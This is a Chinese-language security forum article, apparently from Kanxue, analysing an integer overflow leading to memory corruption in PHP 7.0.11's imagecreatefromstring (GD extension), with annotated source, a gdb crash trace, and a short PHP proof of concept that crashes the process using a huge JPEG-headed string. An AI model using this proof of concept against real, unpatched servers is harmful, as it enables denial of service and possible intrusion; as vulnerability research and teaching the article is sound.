原文首发:看雪论坛
0x01 前言
▼
首先声明这些漏洞不是我挖的,我想挖但是挖不出来,蛋疼。本次讲解栈溢出漏洞,这个漏洞是比较常见的漏洞,现在 php 里面不太常见了,php 漏洞挖掘没有啥好工具,只能人工慢慢的看,afl 好像可以自动化挖掘,不过我跑了 10几天也没跑出个crash。
包含漏洞的版本:PHP 7.0.11
0x02 漏洞分析
▼
首先下载源码,然后编译安装,版本可以低一点,往后的漏洞这个版本都是没打补丁的。环境采用 ubuntu 和编译版本的 ,只有 linux 才有符号表,windows 下不好调试,虽然方便的多。现在正式开始吧。
定位到漏洞函数代码 /ext/gd
PHP_FUNCTION(imagecreatefromstring)
{
zval *data;
gdImagePtr im;
int imtype;
char sig[8];
if (zend_parse_parameters(ZEND_NUM_ARGS(), "z", &data) == FAILURE) {
return;
}
convert_to_string_ex(data);
if (Z_STRLEN_P(data) < 8) {
php_error_docref(NULL, E_WARNING, "Empty string or invalid image");
RETURN_FALSE;
}
memcpy(sig, Z_STRVAL_P(data), 8);
imtype = _php_image_type(sig);
switch (imtype) {
case PHP_GDIMG_TYPE_JPG:
#ifdef HAVE_GD_JPG
im = _php_image_create_from_string(data, "JPEG", gdImageCreateFromJpegCtx);
#else
php_error_docref(NULL, E_WARNING, "No JPEG support in this PHP build");
RETURN_FALSE;
#endif
break;
case PHP_GDIMG_TYPE_PNG:
#ifdef HAVE_GD_PNG
im = _php_image_create_from_string(data, "PNG", gdImageCreateFromPngCtx);
#else
php_error_docref(NULL, E_WARNING, "No PNG support in this PHP build");
RETURN_FALSE;
#endif
break;
case PHP_GDIMG_TYPE_GIF:
im = _php_image_create_from_string(data, "GIF", gdImageCreateFromGifCtx);
break;
case PHP_GDIMG_TYPE_WBM:
im=_php_image_create_from_string(data,"WBMP", gdImageCreateFromWBMPCtx);
break;
case PHP_GDIMG_TYPE_GD2:
im = _php_image_create_from_string(data, "GD2", gdImageCreateFromGd2Ctx);
break;
default:
php_error_docref(NULL, E_WARNING, "Data is not in a recognized format");
RETURN_FALSE;
}
if (!im) {
php_error_docref(NULL, E_WARNING, "Couldn't create GD Image Stream out of Data");
RETURN_FALSE;
}
RETURN_RES(zend_register_resource(im, le_gd));
}
有可能上面的代码长了点,但是只要找到关键函数就行了_php_image_create_from_string,在这个函数中的 gdNewDynamicCtxEx 这个函数才是关键点,跟踪进去就行了。在 gd.c:2196 行,假如你使用其他版本可能行号不一样,不过没事搜索函数就行了。
gdImagePtr _php_image_create_from_string(zval *data, char *tn, gdImagePtr (*ioctx_func_p)())
{
gdImagePtr im;
gdIOCtx *io_ctx;
io_ctx = gdNewDynamicCtxEx(Z_STRLEN_P(data),Z_STRVAL_P(data), 0); //这边的传入参数的长度为0x80000000 由于是int,所以这边整数溢出。
………………………………………………………………………………
gdNewDynamicCtxEx函数代码,行号就不说了。
gdIOCtx * gdNewDynamicCtxEx (int initialSize, void *data, int freeOKFlag)
{
dpIOCtx *ctx;
dynamicPtr *dp;
ctx = (dpIOCtx *) gdMalloc (sizeof (dpIOCtx));
dp = newDynamic(initialSize, data, freeOKFlag);
ctx->dp = dp; //这边将initialSize 赋值了
ctx->c =dynamicGetchar; //这边造成栈溢出,跟踪进去进行了。
………………………………………………………………………………
newDynamic函数代码
static dynamicPtr * newDynamic (int initialSize, void *data, int freeOKFlag)
{
dynamicPtr *dp;
dp = (dynamicPtr *) gdMalloc (sizeof (dynamicPtr)); // 这边申请了64个字节
allocDynamic (dp, initialSize, data);
………………………………………………………..
static int
allocDynamic (dynamicPtr * dp, int initialSize, void *data)
{
if (data == NULL) {
dp->logicalSize = 0;
dp->dataGood = FALSE;
dp->data = gdMalloc(initialSize); 这里的initialSize的值为-2147483648
} else {
dp->logicalSize = initialSize;
dp->dataGood = TRUE;
dp->data = data;
}
……………………………………………….
static int dynamicGetchar (gdIOCtxPtr ctx)
{
unsigned char b;
int rv;
rv = dynamicGetbuf (ctx, &b, 1);
………………………………………………………………………………
static int dynamicGetbuf (gdIOCtxPtr ctx, void *buf, int len)
{
int rlen, remain;
dpIOCtxPtr dctx;
dynamicPtr *dp;
dctx = (dpIOCtxPtr) ctx;
dp = dctx->dp;
remain = dp->logicalSize - dp->pos;
if (remain >= len) {
rlen = len;
} else {
if (remain == 0) {
return EOF;
}
rlen = remain;//上面的remain 的值为负数,没有检查,直接比较后赋值,所以导致下面的rlen的值过大造成栈溢出。
}
memcpy(buf, (void *) ((char *) dp->data + dp->pos), rlen); //这边造成了栈溢出
下面是几个结构体,可以对照着去理解代码。
ypedef struct gdIOCtx {
int (*getC)(struct gdIOCtx*);
int (*getBuf)(struct gdIOCtx*, void*, int);
void (*putC)(struct gdIOCtx*, int);
int (*putBuf)(struct gdIOCtx*, const void*, int);
int (*seek)(struct gdIOCtx*, const int);
long (*tell)(struct gdIOCtx*);
void (*gd_free)(struct gdIOCtx*);
void *data;
} gdIOCtx;
………………………………………………………………………………
typedef struct dpStruct
{
void *data;
int logicalSize;
int realSize;
int dataGood;
int pos;
int freeOK;
} dynamicPtr;
………………………………………………………………………………
typedef struct dpIOCtx
{
gdIOCtx ctx;
dynamicPtr *dp;
} dpIOCtx;
………………………………………………………………………………
下面是 gdb 的调试信息,不知道为什么参数的值没有显示出来。有些代码直接阅读比较麻烦,可以 gdb 调试代码,再调试的同时,打印出它的值。
root@mhn:~# gdb -q --args -n
Reading symbols from ...done.
(gdb) r
Starting program: /root/ -n
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu;.
Program received signal SIGSEGV, Segmentation fault.
__memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarc
118 ../sysdeps/x86_64/multiarc: No such file or directory.
(gdb) bt
#0 __memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarc
#1 0x000000000059c1cf in memcpy (__len=18446744071562067968, __src=, __dest=) at /usr/include/x86_64-linux-gnu/bi
#2 dynamicGetbuf (ctx=, buf=, len=) at /roo
#3 0x000000000059dd05 in php_gd_fill_input_buffer (cinfo=0x7fffffffaa70) at /roo
#4 0x00007ffff73144e6 in ?? () from /usr/lib/x86_64-linux-gnu
#5 0x00007ffff73129ca in ?? () from /usr/lib/x86_64-linux-gnu
poc 就放下面了:
ini_set('memory_limit',-1);
$var_3 = str_repeat("A",0x80000000);
$var_3[0]="\xff";
$var_3[1]="\xd8";
$var_3[2]="\xff";
imagecreatefromstring($var_3);
这边为什么要替换变量的值呢,由于它上面会检查文件头是否为真实的图片。所以我这边用了 jpg 的文件头,应该是吧,我也忘了啥文件头,反正只要网上搜索一下图片的文件头就行了。
0x03 小结
▼
说实话我也是初学者,只能这样写一篇文章了,网上的 php 底层的漏洞挖掘太少了,就只有应用层的代码审计,希望能够给初学者们帮助吧。如果写的有啥不对的地方欢迎指出。
参考链接
精彩评论
如果是 7.0.11 那么应该会有不少环境都包含此漏洞,理论上能拿到 php 进程权限,可能是 www,也可能是 root,威胁还是很大的。不过在实际的项目中这个函数 image_create_from_string() 使用的频度不太高。
建议还在使用 PHP 7 低版本的用户尽快升级到最新版本,避免服务器遭到入侵。
本文由看雪论坛 hackyzh 原创
❤ 往期热门内容推荐
看雪众测及其渗透测试服务介绍
国产电纸书 Bambook 破解笔记(一)
HG533路由器分析教程之三:数据流跟踪
WEB渗透测试中回显的一些技巧
报名 |《走近企业看安全》第10站 知道创宇
......
更多优秀文章,“关注看雪学院公众号”查看!
看雪论坛:
微信公众号 ID:ikanxue
微博:看雪安全
投稿、合作: